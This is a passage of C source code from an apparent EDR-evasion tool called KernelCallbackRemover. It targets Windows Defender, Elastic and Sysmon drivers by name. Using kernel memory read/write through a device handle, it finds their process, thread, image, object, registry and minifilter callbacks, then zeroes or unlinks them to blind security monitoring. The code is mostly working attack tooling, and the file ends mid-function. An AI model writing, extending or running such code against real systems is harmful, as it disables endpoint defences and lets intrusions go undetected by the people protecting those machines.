KernelCallbackRemover/kernelCallbacks.c
#include "common.h"

const char* driverNames[] = {
	"WdFilter.sys", "MsSecFlt.sys", "elastic-endpoint-driver.sys", "SysmonDrv.sys"
};

const int numDrivers = sizeof(driverNames) / sizeof(driverNames[0]);

BOOL GetNtoskrnlBaseAddress(OUT LPVOID *pNtoskrnlBase) {

	BOOL								bSTATE			= TRUE;
	HMODULE								hNTDLL			= NULL; // Stores handle to ntdll.dll
	NTSTATUS							STATUS			= NULL; // Stores the NTSTATUS
	ULONG								uReturn1		= NULL; // Size returned in bytes from NtQuerySystemInformation
	ULONG								uReturn2		= NULL; // Size returned in bytes from NtQuerySystemInformation
	PSYSTEM_MODULE_INFORMATION			pModuleInfo		= NULL; // SYSTEM_MODULE_INFORMATION struct

	// Get handle to ntdll.dll
	// https://learn.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibrarya
	hNTDLL = LoadLibraryA("ntdll.dll");
	if (!hNTDLL) {
		errorWin32("LoadLibraryA - Failed to get handle to ntdll.dll");
		bSTATE = FALSE;
		goto _cleanUp;
	}
	info_t("LoadLibraryA - Received handle to ntdll.dll 0x%p", hNTDLL);

	// Resolve address of NtQuerySystemInformation
	fnNtQuerySystemInformation NtQuerySystemInformation = (fnNtQuerySystemInformation)GetProcAddress(hNTDLL, "NtQuerySystemInformation");
	if (!NtQuerySystemInformation) {
		errorWin32("GetProcAddress - Failed to address of NtQuerySystemInformation");
		bSTATE = FALSE;
		goto _cleanUp;
	}
	info_t("GetProcAddress - Received address to NtQuerySystemInformation 0x%p", NtQuerySystemInformation);

	// Get the size of SYSTEM_MODULE_INFORMATION
	// https://learn.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntquerysysteminformation
	STATUS = NtQuerySystemInformation(
		SystemModuleInformation,		// Returns a SystemModuleInformation stuct
		NULL,							// Can be null the first time calling
		0,								// Can be null the first time calling
		&uReturn1						// Returned size
	);
	info_t("NtQuerySystemInformation - Received %lu bytes of SystemModuleInformation", uReturn1);

	// Allocate memory for SYSTEM_MODULE_INFORMATION
	pModuleInfo = (PSYSTEM_MODULE_INFORMATION)malloc(uReturn1);
	if (!pModuleInfo) {
		error("malloc - Failed to allocate memory");
		bSTATE = FALSE;
		goto _cleanUp;
	}
	info_t("Malloc - Allocated %lu bytes of memory at 0x%p", uReturn1, pModuleInfo);

	// Query the SYSTEM_MODULE_INFORMATION
	// https://learn.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntquerysysteminformation
	STATUS = NtQuerySystemInformation(
		SystemModuleInformation,		// Returns a SystemModuleInformation stuct
		pModuleInfo,					// Pointer to SYSTEM_CODEINTEGRITY_INFORMATION struct
		uReturn1,						// Size of the SYSTEM_CODEINTEGRITY_INFORMATION struct
		&uReturn2						// Returned size
	);
	if (!NT_SUCCESS(STATUS)) {
		errorNT("NtQuerySystemInformation failed", STATUS);
		bSTATE = FALSE;
		goto _cleanUp;
	}
	info_t("NtQuerySystemInformation - Received %lu bytes of SystemModuleInformation saved at 0x%p", uReturn2, pModuleInfo);

	// The first module in the list is typically ntoskrnl.exe
	*pNtoskrnlBase = pModuleInfo->Modules[0].ImageBase;

_cleanUp:

	if (pModuleInfo) {
		free(pModuleInfo);
	}

	return bSTATE;

}

// List and sort all kernel drivers, used to check if kernel callback address is in their address space, outputs a pointer to list of kernel drivers, 8 bytes each.
BOOL ListAndSortKernelDrivers(OUT LPVOID* ppDrivers, OUT DWORD* pdwDriverCount) {
	
	BOOL	bSTATE						= TRUE;
	LPVOID* pDrivers					= NULL;     // Allocated buffer to hold driver base addresses
	DWORD	cbNeeded					= 0;        // Bytes needed to hold driver list
	DWORD	dwCount						= 0;        // Number of drivers found
	LPVOID	lpTemp						= NULL;     // Temporary pointer for sorting
	CHAR	szDriverName[MAX_PATH]		= { 0 };    // Buffer for driver names

	// Query the required size
	if (!EnumDeviceDrivers(NULL, 0, &cbNeeded)) {
		error("EnumDeviceDrivers - Failed to query required buffer size");
		bSTATE = FALSE;
		goto _cleanUp;
	}

	// Allocate required memory
	pDrivers = (LPVOID*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, cbNeeded);
	if (!pDrivers) {
		error("HeapAlloc - Failed to allocate memory for driver list");
		bSTATE = FALSE;
		goto _cleanUp;
	}

	// Retrieve driver list
	if (!EnumDeviceDrivers(pDrivers, cbNeeded, &cbNeeded)) {
		error("EnumDeviceDrivers - Failed to enumerate drivers");
		bSTATE = FALSE;
		goto _cleanUp;
	}

	dwCount = cbNeeded / sizeof(LPVOID);

	// Detect kernel drivers addresses and sort the list
	for (DWORD i = 0; i < dwCount; i++) {
		GetDeviceDriverBaseNameA(pDrivers[i], szDriverName, sizeof(szDriverName));
		BYTE bFirstByte = ((DWORD64)(pDrivers[i]) >> 56);
		if (bFirstByte == 0xFF) {
			//info_t("\tDriver[%lu] Base: 0x%p Name: %s", i, pDrivers[i], szDriverName);
			for (DWORD j = 0; j < dwCount - 1; j++) {
				for (DWORD k = j + 1; k < dwCount; k++) {
					if (pDrivers[j] > pDrivers[k]) {
						lpTemp = pDrivers[j];
						pDrivers[j] = pDrivers[k];
						pDrivers[k] = lpTemp;
					}
				}
			}
		}
	}

	//info_t("\nPrinting memory ranges for each kernel driver");
	//// Print loaded driver memory ranges
	//for (DWORD i = 0; i < dwCount - 1; i++) {
	//	DWORD64 dwStartAddr = (DWORD64)pDrivers[i];       // Start address of current driver
	//	DWORD64 dwEndAddr = (DWORD64)pDrivers[i + 1];   // Start address of next driver (marks end of current)
	//
	//	// https://learn.microsoft.com/en-us/windows/win32/api/psapi/nf-psapi-getdevicedriverbasenamea
	//	CHAR szDriverName[MAX_PATH] = { 0 };
	//	GetDeviceDriverBaseNameA((LPVOID)dwStartAddr, szDriverName, sizeof(szDriverName));
	//
	//	info_t("\tDriver %03d: %-25s 0x%016llx - 0x%016llx", i, szDriverName, dwStartAddr, dwEndAddr);
	//}

	*ppDrivers = pDrivers;
	*pdwDriverCount = dwCount;

_cleanUp:

	if (!bSTATE && pDrivers) {
		HeapFree(GetProcessHeap(), 0, pDrivers);
	}

	return bSTATE;
}

// Checks whether a given driver name matches a known EDR-related driver
BOOL isDriverListed(IN LPSTR lpstrDriverName) {

	BOOL bSTATE = FALSE;

	for (int i = 0; i < numDrivers; i++) {
		
		// Case-insensitive string comparison
		// https://learn.microsoft.com/en-us/cpp/c-runtime-library/reference/stricmp-stricmp-l-wcsicmp-wcsicmp-l?view=msvc-170
		if (_stricmp(driverNames[i], lpstrDriverName) == 0) {
			bSTATE = TRUE;
			break;
		}
	}

	return bSTATE;
}

// List or remove kernel callback arrays, used for process, thread and image kernel callbacks
BOOL ListOrRemoveKCArray(IN HANDLE hDevice, IN LPSTR lpstrCallbackType, IN DWORD64 callbackArrayAddress, IN LPVOID pDrivers, IN DWORD dwDriverCount, IN BOOL bRemove) {

	BOOL	bSTATE					= TRUE;
	HANDLE	hOutput					= NULL;		// Handle to standard output
	PVOID*	lpDrivers				= NULL;		// Pointer to loaded driver base addresses
	DWORD64	dwNextAddr				= 0;		// Current callback address
	DWORD64	dwCallbackPtr			= 0;		// Raw pointer read from callback array
	DWORD64	dwCallbackAligned		= 0;		// Aligned pointer to EX_CALLBACK_ROUTINE_BLOCK
	DWORD64	dwCallbackFunc			= 0;		// Actual function pointer inside the structure
	CHAR	szDeviceName[MAX_PATH]	= { 0 };	// Buffer to hold driver base name
	DWORD64	dwDriverBase			= 0;		// Base address of current driver

	// Get handle to standard output
	// https://learn.microsoft.com/en-us/windows/console/getstdhandle
	hOutput = GetStdHandle(STD_OUTPUT_HANDLE);

	if (bRemove) {
		info_t("---------- Listing and removing %s Kernel Callbacks ----------", lpstrCallbackType);
	}
	else {
		info_t("---------- Listing %s Kernel Callbacks ----------", lpstrCallbackType);
	}

	// Assign input driver pointer
	lpDrivers = (PVOID*)pDrivers;

	// Iterate over the callback array
	for (BYTE i = 0; i < PSP_MAX_CALLBACKS; i++) {

		// Calc the address of the next callback pointer
		dwNextAddr = callbackArrayAddress + i * 0x8;

		// Read the pointer from the callback array
		dwCallbackPtr = ReadMemoryDWORD64(hDevice, dwNextAddr);

		// If pointer is null, then skip
		if (dwCallbackPtr == 0) {
			//info_t("Slot %02d - Empty (NULL)", i);
			continue;
		}

		// Allign the pointer
		dwCallbackAligned = ((dwCallbackPtr >> 4) << 4);

		// Read the function pointer from the offset +0x8
		dwCallbackFunc = ReadMemoryDWORD64(hDevice, dwCallbackAligned + 0x8);

		// Match against known EDR driver names
		for (DWORD j = 0; j < dwDriverCount - 1; j++) {

			dwDriverBase = (DWORD64)lpDrivers[j];

			// Check if function pointer is located within the address range of a known driver module
			// Curent driver vs next driver
			if (dwCallbackFunc > dwDriverBase && dwCallbackFunc < (DWORD64)lpDrivers[j + 1]) {

				// https://learn.microsoft.com/en-us/windows/win32/api/psapi/nf-psapi-getdevicedriverbasenamea
				GetDeviceDriverBaseNameA((LPVOID)dwDriverBase, szDeviceName, sizeof(szDeviceName));

				if (isDriverListed(szDeviceName)) {
					// If its EDR driver make it red
					SetConsoleTextAttribute(hOutput, FOREGROUND_RED);

					// Remove (nullify) the callback pointer if remove is selected
					if (bRemove == TRUE) {
						WriteMemoryDWORD64(hDevice, dwNextAddr, 0x0000000000000000);
					}
				}

				info_t("[%llx]: %llx -> [%s + %llx]", dwNextAddr, dwCallbackFunc, szDeviceName, dwCallbackFunc - dwDriverBase);

				// Reset the color
				SetConsoleTextAttribute(hOutput, 7);

				break;
			}
		}
	}

	if (bRemove == TRUE) {
		info_t("---------- %s Kernel Callbacks of EDR's zeroed out ----------", lpstrCallbackType);
	}

	return bSTATE;

}

// List or remove kernel callback double linked list, used for registry
BOOL ListOrRemoveKCRegistryOperations(IN HANDLE hDevice, IN LPSTR lpstrCallbackType, IN DWORD64 dwCallbackListHead, IN LPVOID pDrivers, IN DWORD dwDriverCount, IN BOOL bRemove) {

	BOOL		bSTATE					= TRUE;
	HANDLE		hOutput					= NULL;		// Handle to standard output
	PVOID*		lpDrivers				= NULL;		// Pointer to loaded driver base addresses
	DWORD64		dwCurrentEntry			= 0;		// Enumerated entry in the double linked list
	DWORD64		dwCallbackFunc			= 0;		// Operation registry callback pointer
	CHAR		szDeviceName[MAX_PATH]	= { 0 };	// Driver base name buffer
	DWORD64		dwDriverBase			= 0;		// Base address of currently matched driver

	// https://learn.microsoft.com/en-us/windows/console/getstdhandle
	hOutput = GetStdHandle(STD_OUTPUT_HANDLE);

	if (bRemove) {
		info_t("---------- Listing and removing %s Kernel Callbacks ----------", lpstrCallbackType);
	}
	else {
		info_t("---------- Listing %s Kernel Callbacks ----------", lpstrCallbackType);
	}

	lpDrivers = (PVOID*)pDrivers;

	// Read the FLINK from the head
	dwCurrentEntry = ReadMemoryDWORD64(hDevice, dwCallbackListHead);

	while (dwCurrentEntry != dwCallbackListHead && dwCurrentEntry != 0) {

		// Read callback pointer
		dwCallbackFunc = ReadMemoryDWORD64(hDevice, dwCurrentEntry + 0x28); // Operation callback

		// Match PRE and POST callback to known drivers
		for (DWORD j = 0; j < dwDriverCount - 1; j++) {

			dwDriverBase = (DWORD64)lpDrivers[j];

			// Check if PRE callback lies within known driver memory range
			if (dwCallbackFunc > dwDriverBase && dwCallbackFunc < (DWORD64)lpDrivers[j + 1]) {
				
				// https://learn.microsoft.com/en-us/windows/win32/api/psapi/nf-psapi-getdevicedriverbasenamea
				GetDeviceDriverBaseNameA((LPVOID)dwDriverBase, szDeviceName, sizeof(szDeviceName));
				
				if (isDriverListed(szDeviceName)) {
					SetConsoleTextAttribute(hOutput, FOREGROUND_RED);
					
					// Cant overwrite these values due to patchguard
					//if (bRemove == TRUE) {
					//	WriteMemoryDWORD64(hDevice, dwCurrentEntry + 0x20, 0x0000000000000000);
					//}
				}
				
				info_t("[%llx]: %llx -> [%s + %llx]", dwCurrentEntry, dwCallbackFunc, szDeviceName, dwCallbackFunc - dwDriverBase);
				SetConsoleTextAttribute(hOutput, 7);
				break;
			}
		}

		// Move to next LIST_ENTRY
		dwCurrentEntry = ReadMemoryDWORD64(hDevice, dwCurrentEntry);
	}

	// Make the flink and blink point to dwCallbackListHead (itself)
	if (bRemove == TRUE) {

		// Flink
		WriteMemoryDWORD64(hDevice, dwCallbackListHead, dwCallbackListHead);

		// Blink
		WriteMemoryDWORD64(hDevice, dwCallbackListHead + 0x8, dwCallbackListHead);

		info_t("---------- %s Kernel Callbacks delinked list ----------", lpstrCallbackType);

	}

	return bSTATE;
}

// List or remove kernel callback double linked list, used for object operations
BOOL ListOrRemoveKCObjectOperations(IN HANDLE hDevice, IN LPSTR lpstrCallbackType, IN DWORD64 dwAddress, IN LPVOID pDrivers, IN DWORD dwDriverCount, IN BOOL bRemove) {

	BOOL		bSTATE						= TRUE;
	HANDLE		hOutput						= NULL;		// Handle to standard output
	PVOID*		lpDrivers					= NULL;		// Pointer to loaded driver base addresses
	DWORD64		dwObjectType				= 0;		// Pointer to the object type
	DWORD64		dwListHead					= 0;		// Stores the listhead
	DWORD64		dwCurrentEntry				= 0;		// Enumerated entry in the double linked list
	DWORD64		dwPreCallbackFunc			= 0;		// Pre-operation registry callback pointer
	DWORD64		dwPostCallbackFunc			= 0;		// Post-operation registry callback pointer
	CHAR		szDeviceName[MAX_PATH]		= { 0 };	// Driver base name buffer
	DWORD64		dwDriverBase				= 0;		// Base address of currently matched driver
	BOOL		bPreMatched					= FALSE;	// Matched PRE callback with a known driver
	BOOL		bPostMatched				= FALSE;	// Matched POST callback with a known driver

	// https://learn.microsoft.com/en-us/windows/console/getstdhandle
	hOutput = GetStdHandle(STD_OUTPUT_HANDLE);

	if (bRemove) {
		info_t("---------- Listing and removing %s Kernel Callbacks ----------", lpstrCallbackType);
	}
	else {
		info_t("---------- Listing %s Kernel Callbacks ----------", lpstrCallbackType);
	}

	lpDrivers = (PVOID*)pDrivers;

	// Read memory at PsProcessType (or thread)
	dwObjectType = ReadMemoryDWORD64(hDevice, dwAddress);

	// Address of the actual list head
	dwListHead = dwObjectType + g_ntoskrnlOffsets.st.object_type_callbacklist;

	// Read the FLINK from the head
	dwCurrentEntry = ReadMemoryDWORD64(hDevice, dwListHead);
	
	while (dwCurrentEntry != dwListHead && dwCurrentEntry != 0) {
	
		// Read both callback function pointers (0x28 and 0x30 for W11) Might be 0x20 and 0x28 for older versions
		dwPreCallbackFunc = ReadMemoryDWORD64(hDevice, dwCurrentEntry + 0x28); // Pre-operation callback
		dwPostCallbackFunc = ReadMemoryDWORD64(hDevice, dwCurrentEntry + 0x30); // Post-operation callback
	
		info_t("Callback Entry %llx", dwCurrentEntry);
	
		// Reset matched flags
		bPreMatched = FALSE;
		bPostMatched = FALSE;
	
		// Match PRE and POST callback to known drivers
		for (DWORD j = 0; j < dwDriverCount - 1; j++) {
	
			dwDriverBase = (DWORD64)lpDrivers[j];
	
			// Check if PRE callback lies within known driver memory range
			if (dwPreCallbackFunc > dwDriverBase && dwPreCallbackFunc < (DWORD64)lpDrivers[j + 1]) {
	
				// https://learn.microsoft.com/en-us/windows/win32/api/psapi/nf-psapi-getdevicedriverbasenamea
				GetDeviceDriverBaseNameA((LPVOID)dwDriverBase, szDeviceName, sizeof(szDeviceName));
	
				if (isDriverListed(szDeviceName)) {
					SetConsoleTextAttribute(hOutput, FOREGROUND_RED);
	
					// Cant overwrite these values due to patchguard
					//if (bRemove == TRUE) {
					//	WriteMemoryDWORD64(hDevice, dwCurrentEntry + 0x20, 0x0000000000000000);
					//}
				}
	
				info_t("\t[PRE] %llx -> [%s + %llx]", dwPreCallbackFunc, szDeviceName, dwPreCallbackFunc - dwDriverBase);
				SetConsoleTextAttribute(hOutput, 7);
				bPreMatched = TRUE;
				break;
			}
		}
	
		// Print unresolved PRE if not in known kernel module
		if (!bPreMatched) {
			info_t("\t[PRE] %llx", dwPreCallbackFunc);
		}
	
		for (DWORD j = 0; j < dwDriverCount - 1; j++) {
	
			dwDriverBase = (DWORD64)lpDrivers[j];
	
			// Check if POST callback lies within known driver memory range
			if (dwPostCallbackFunc > dwDriverBase && dwPostCallbackFunc < (DWORD64)lpDrivers[j + 1]) {
	
				// https://learn.microsoft.com/en-us/windows/win32/api/psapi/nf-psapi-getdevicedriverbasenamea
				GetDeviceDriverBaseNameA((LPVOID)dwDriverBase, szDeviceName, sizeof(szDeviceName));
	
				if (isDriverListed(szDeviceName)) {
					SetConsoleTextAttribute(hOutput, FOREGROUND_RED);
	
					// Cant overwrite these values due to patchguard
					//if (bRemove == TRUE) {
						//WriteMemoryDWORD64(hDevice, dwCurrentEntry + 0x28, 0x0000000000000000);
					//}
				}
	
				info_t("\t[POST] %llx -> [%s + %llx]", dwPostCallbackFunc, szDeviceName, dwPostCallbackFunc - dwDriverBase);
				SetConsoleTextAttribute(hOutput, 7);
				bPostMatched = TRUE;
				break;
			}
		}
	
		// Print unresolved POST if not in known kernel module
		if (!bPostMatched) {
			info_t("\t[POST] %llx", dwPostCallbackFunc);
		}
	
		// Move to next LIST_ENTRY
		dwCurrentEntry = ReadMemoryDWORD64(hDevice, dwCurrentEntry);
	}
	
	// Make the flink and blink point to dwListHead (itself)
	if (bRemove == TRUE) {
	
		// Flink
		WriteMemoryDWORD64(hDevice, dwListHead, dwListHead);
	
		// Blink
		WriteMemoryDWORD64(hDevice, dwListHead + 0x8, dwListHead);

		info_t("---------- %s Kernel Callbacks delinked list ----------", lpstrCallbackType);
	}

	return bSTATE;
}

// List or remove kernel callback double linked list, used for object operations
BOOL ListOrRemoveMiniFiltersCallbacks(IN HANDLE hDevice, IN LPSTR lpstrCallbackType, IN DWORD64 dwAddress, IN LPVOID pDrivers, IN DWORD dwDriverCount, IN BOOL bRemove) {

	BOOL		bSTATE						= TRUE;
	HANDLE		hOutput						= NULL;		// Handle to standard output
	PVOID*		lpDrivers					= NULL;		// Pointer to loaded driver base addresses

	CHAR		szDeviceName[MAX_PATH]		= { 0 };	// Driver base name buffer
	DWORD64		dwDriverBase				 = 0;		// Base address of currently matched driver

	// https://learn.microsoft.com/en-us/windows/console/getstdhandle
	hOutput = GetStdHandle(STD_OUTPUT_HANDLE);

	if (bRemove) {
		info_t("---------- Listing and removing %s Kernel Callbacks ----------", lpstrCallbackType);
	}
	else {
		info_t("---------- Listing %s Kernel Callbacks ----------", lpstrCallbackType);
	}

	lpDrivers = (PVOID*)pDrivers;

	// Address of the FrameList LIST_ENTRY (rList) inside _FLT_RESOURCE_LIST_HEAD (FrameList) in the _GLOBALS struct
	// x fltmgr!FltGlobals
	// dt fltmgr!_GLOBALS fffff807`65c6d7c0
	//		   +0x058 FrameList        : _FLT_RESOURCE_LIST_HEAD
	// dt fltmgr!_FLT_RESOURCE_LIST_HEAD fffff807`65c6d7c0+0x058
	//		   +0x068 rList            : _LIST_ENTRY [ 0xffffca04`cd54e018 - 0xffffca04`cd54e018 ]
	// dt fltmgr!_LIST_ENTRY fffff807`65c6d7c0+0x058+0x68
	//			+0x000 Flink            : 0xffffca04`cd54e018 _LIST_ENTRY[0xfffff807`65c6d880 - 0xfffff807`65c6d880]
	DWORD64 dwFrameListHead = dwAddress + g_fltMgrOffsets.st._GLOBALS_FrameList + g_fltMgrOffsets.st._FLT_RESOURCE_LIST_HEAD_rList;
	//printf("[DEBUG] dwFrameListHead %llx\n", dwFrameListHead);

	// Read the flink from the head
	// dps 0xfffff807`65c6d880 L1
	//			fffff807`65c6d880  ffffca04`cd54e018
	DWORD64 dwCurrentFrameEntry = ReadMemoryDWORD64(hDevice, dwFrameListHead);
	//printf("[DEBUG] dwCurrentFrameEntry %llx\n", dwCurrentFrameEntry);

	// Loop over all instances (disks)
	while (dwCurrentFrameEntry != dwFrameListHead && dwCurrentFrameEntry != 0) {

		// Get the base address of the current frame 
		// dt fltmgr!_FLTP_FRAME Links
		//    +0x008 Links : _LIST_ENTRY
		// dt fltmgr!_FLTP_FRAME ffffca04`cd54e018-0x008
		DWORD64 dwCurrentFrameBase = dwCurrentFrameEntry - g_fltMgrOffsets.st._FLTP_FRAME_Links;
		info_t("\t_FLTP_FRAME: %016llx", dwCurrentFrameBase);
		
		// Enumerate the filters in this frame
		// dt fltmgr!_FLTP_FRAME ffffca04`cd54e018-0x008
		//		+0x048 RegisteredFilters : _FLT_RESOURCE_LIST_HEAD
		// dt fltmgr!_FLT_RESOURCE_LIST_HEAD ffffca04`cd54e018-0x008+0x048
		//		+0x068 rList            : _LIST_ENTRY [ 0xffffca04`d269d020 - 0xffffca04`cd55e8b0 ]
		DWORD64 dwFilterListHead = dwCurrentFrameBase + g_fltMgrOffsets.st._FLTP_FRAME_RegisteredFilters + g_fltMgrOffsets.st._FLT_RESOURCE_LIST_HEAD_rList;
		//printf("[DEBUG] dwFilterListHead %llx\n", dwFilterListHead);

		// Read the flink from the head
		// dps ffffca04`cd54e018-0x008+0x048+0x068 L1
		//		fffca04`cd54e0c0  ffffca04`d269d020
		DWORD64 dwCurrentFilterEntry = ReadMemoryDWORD64(hDevice, dwFilterListHead);
		//printf("[DEBUG] dwCurrentFilterEntry %llx\n", dwCurrentFilterEntry);

		// Loop over all the filters
		while (dwCurrentFilterEntry != dwFilterListHead && dwCurrentFilterEntry != 0) {		

			// Get the current filter base address
			// dt fltmgr!_FLT_OBJECT PrimaryLink
			//		+ 0x010 PrimaryLink : _LIST_ENTRY
			// dt fltmgr!_FLT_FILTER ffffca04`d269d020-0x010
			DWORD64 dwCurrentFilterBase = dwCurrentFilterEntry - g_fltMgrOffsets.st._FLT_OBJECT_PrimaryLink;
			//printf("[DEBUG] dwCurrentFilterBase %llx\n", dwCurrentFilterBase);

			// _FLT_FILTER->DriverObject and DriverInit
			// dt fltmgr!_FLT_FILTER ffffca04`d269d020-0x010
			//		+0x068 DriverObject     : 0xffffca04`d0a74c70 _DRIVER_OBJECT
			// dps ffffca04`d269d020-0x010+0x068 L1
			//		ffffca04`d269d078  ffffca04`d0a74c70
			DWORD64 dwDriverObject = ReadMemoryDWORD64(hDevice, dwCurrentFilterBase + g_fltMgrOffsets.st._FLT_FILTER_DriverObject);
			//printf("[DEBUG] dwDriverObject %llx\n", dwDriverObject);

			// dt fltmgr!_DRIVER_OBJECT DriverInit
			//		+0x058 DriverInit : Ptr64     long 
			// dt fltmgr!_DRIVER_OBJECT ffffca04`d0a74c70+0x058
			// dps ffffca04`d0a74c70+0x058 L1
			DWORD64 dwDriverInit = ReadMemoryDWORD64(hDevice, dwDriverObject + g_fltMgrOffsets.st._DRIVER_OBJECT_DriverInit);
			//printf("[DEBUG] dwDriverInit %llx\n", dwDriverInit);

			BOOL bEDRDriver = FALSE;

			for (DWORD j = 0; j < dwDriverCount - 1; j++) {

				dwDriverBase = (DWORD64)lpDrivers[j];

				// Check if dwDriverInit lies within known driver memory range
				if (dwDriverInit > dwDriverBase && dwDriverInit < (DWORD64)lpDrivers[j + 1]) {

					// https://learn.microsoft.com/en-us/windows/win32/api/psapi/nf-psapi-getdevicedriverbasenamea
					GetDeviceDriverBaseNameA((LPVOID)dwDriverBase, szDeviceName, sizeof(szDeviceName));

					if (isDriverListed(szDeviceName)) {
						SetConsoleTextAttribute(hOutput, FOREGROUND_RED);
						bEDRDriver = TRUE;
					}

					info_t("\t\t_FLT_FILTER: %016llx [%s + 0x%llx]", dwCurrentFilterBase, szDeviceName, dwDriverInit - dwDriverBase);
					SetConsoleTextAttribute(hOutput, 7);
					break;
				}
			}

			// If the driver is EDR related enumerate all the instances
			if(bEDRDriver == TRUE) {

				// Enumerate the instances in this filter
				// dt fltmgr!_FLT_FILTER InstanceList
				//		+0x070 InstanceList : _FLT_RESOURCE_LIST_HEAD
				// dt fltmgr!_FLT_RESOURCE_LIST_HEAD rList
				//		+0x068 rList : _LIST_ENTRY
				DWORD64 dwInstanceListHead = dwCurrentFilterBase + g_fltMgrOffsets.st._FLT_FILTER_InstanceList + g_fltMgrOffsets.st._FLT_RESOURCE_LIST_HEAD_rList;
				//printf("[DEBUG] dwInstanceListHead %llx\n", dwInstanceListHead);

				// Get the current entry
				// dps ffffca04cd56a560+0x070+0x068 L1
				//		ffffca04`cd56a638  ffffca04`cd842918
				DWORD64 dwCurrentInstanceEntry = ReadMemoryDWORD64(hDevice, dwInstanceListHead);
				//printf("[DEBUG] dwCurrentInstanceEntry %llx\n", dwCurrentInstanceEntry);

				// Loop over all the instances
				while (dwCurrentInstanceEntry != dwInstanceListHead && dwCurrentInstanceEntry != 0) {

					// Get the current instance base
					// dt fltmgr!_FLT_INSTANCE Filterlink
					//		+0x078 FilterLink : _LIST_ENTRY
					// ffffca04`cd842918 - 0x078 = ffffca04cd8428a0
					DWORD64 dwCurrentInstanceBase = dwCurrentInstanceEntry - g_fltMgrOffsets.st._FLT_INSTANCE_FilterLink;
					info_t("\t\t\t_FLT_INSTANCE: %016llx", dwCurrentInstanceBase);

					// Get the callback nodes
					// dt fltmgr!_FLT_INSTANCE CallbackNodes
					//		+0x130 CallbackNodes : [50] Ptr64 _CALLBACK_NODE
					// ffffca04cd8428a0 + 0x130 = ffffca04cd8429d0
					DWORD64 dwCallbackNodesArray = dwCurrentInstanceBase + g_fltMgrOffsets.st._FLT_INSTANCE_CallbackNodes;
					//printf("[DEBUG] dwCallbackNodesArray %llx\n", dwCallbackNodesArray);

					DWORD dwNodesFound = 0;

					for (int k = 0; k < 50; k++) {
						
						// Read the callbacknode pointer
						DWORD64 dwCallbackNode = ReadMemoryDWORD64(hDevice, dwCallbackNodesArray + (k * sizeof(PVOID)));
						
						if (dwCallbackNode == 0) {
							continue;
						}	

						// Heuristic: ensure this node is still linked (sanity check)
						// Blink->Flink == this && Flink->Blink == this
						DWORD64 dwPrev = ReadMemoryDWORD64(hDevice, dwCallbackNode + offsetof(LIST_ENTRY, Blink));
						DWORD64 dwPrevNext = (dwPrev ? ReadMemoryDWORD64(hDevice, dwPrev + offsetof(LIST_ENTRY, Flink)) : 0);
						DWORD64 dwNext = ReadMemoryDWORD64(hDevice, dwCallbackNode + offsetof(LIST_ENTRY, Flink));
						DWORD64 dwNextPrev = (dwNext ? ReadMemoryDWORD64(hDevice, dwNext + offsetof(LIST_ENTRY, Blink)) : 0);

						if (dwPrevNext != dwCallbackNode && dwNextPrev != dwCallbackNode) {
							info_t("\t\t\t\tCallbackNodes unlinked");
							continue; // looks unlinked; skip noisy artifacts
						}

						if (bRemove == TRUE) {

							// Change the Flink and Blink
							WriteMemoryDWORD64(hDevice, dwPrev + offsetof(LIST_ENTRY, Flink), dwNext);
							WriteMemoryDWORD64(hDevice, dwNext + offsetof(LIST_ENTRY, Blink), dwPrev);

						}

						dwNodesFound++;
					}

					if (dwNodesFound == 0) {
						info_t("\t\t\t\tCallbackNodes not found");
					}	
					else if (dwNodesFound != 0 && bRemove == TRUE) {
						info_t("\t\t\t\tCallbackNodes: %d found and delinked", dwNodesFound);
					}
					else {
						info_t("\t\t\t\tCallbackNodes: %d found", dwNodesFound);
					}

					// Move to the next LIST_ENTRY of instances
					dwCurrentInstanceEntry = ReadMemoryDWORD64(hDevice, dwCurrentInstanceEntry);

				}
			} // END of if EDR statement
		
			// Move to next LIST_ENTRY of filters
			dwCurrentFilterEntry = ReadMemoryDWORD64(hDevice, dwCurrentFilterEntry);
		}

		// Move to next LIST_ENTRY of frames
		dwCurrentFrameEntry = ReadMemoryDWORD64(hDevice, dwCurrentFrameEntry);
	}

	if (bRemove == TRUE) {
		info_t("---------- %s Kernel Callbacks delinked CallbackNodes list ----------", lpstrCallbackType);
	}

	return bSTATE;

}

// Lists and or removes all kernel callbacks
BOOL ListOrRemoveKernelCallbacks(IN BOOL bRemove) {

	BOOL		bSTATE									= TRUE;
	DWORD64		dwNtoskrnlBaseAddress					= 0;	// Stores base address of ntoskrnl.exe
	DWORD64		dwfltMgrBaseAddress						= 0;	// Stores base address of fltMgr.sys
	HANDLE		hDevice									= NULL; // Saves handle to the device driver
	DWORD64		dwPspCreateProcessNotifyRoutineArray	= 0;	// Base address of PspCreateProcessNotifyRoutineArray
	DWORD64		dwPspCreateThreadNotifyRoutineArray		= 0;	// Base address of dwPspCreateThreadNotifyRoutineArray	
	DWORD64		dwPspLoadImageNotifyRoutineArray		= 0;	// Base address of dwPspLoadImageNotifyRoutineArray
	DWORD64		dwCallbackListHead						= 0;	// Base address of dwCallbackListHead
	DWORD64		dwPsProcessType							= 0;	// Base address of dwPsProcessType
	DWORD64		dwPsThreadType							= 0;	// Base address of dwPsThreadType
	DWORD64		dwFltGlobals							= 0;	// Base address of FltGlobals
	LPVOID		pDrivers								= NULL;	// Output buffer with sorted drivers
	DWORD		dwDriverCount							= 0;    // Driver count

	// Get base address of ntoskrnl.exe
	if (!GetNtoskrnlBaseAddress(&dwNtoskrnlBaseAddress)){
		error("GetNtoskrnlBaseAddress - Failed to get base address of \"ntoskrnl.exe\"");
		bSTATE = FALSE;
		goto _cleanUp;
	}
	info_t("GetNtoskrnlBaseAddress - ntoskrnl address:      %llx", dwNtoskrnlBaseAddress);

	// Get base address of sysMgtr.sys
	dwfltMgrBaseAddress = GetfltMgrBaseAddress();
	if (!dwfltMgrBaseAddress) {
		error("FindfltMgrBaseAddress - Failed to get base address of \"ci.dll\"");
		bSTATE = FALSE;
		goto _cleanUp;
	}
	info_t("FindfltMgrBaseAddress - fltMgr.sys base address: 0x%p", dwfltMgrBaseAddress);

	// Calculate addresses and offsets
	dwPspCreateProcessNotifyRoutineArray	= dwNtoskrnlBaseAddress + g_ntoskrnlOffsets.st.pspCreateProcessNotifyRoutine;
	dwPspCreateThreadNotifyRoutineArray		= dwNtoskrnlBaseAddress + g_ntoskrnlOffsets.st.pspCreateThreadNotifyRoutine;
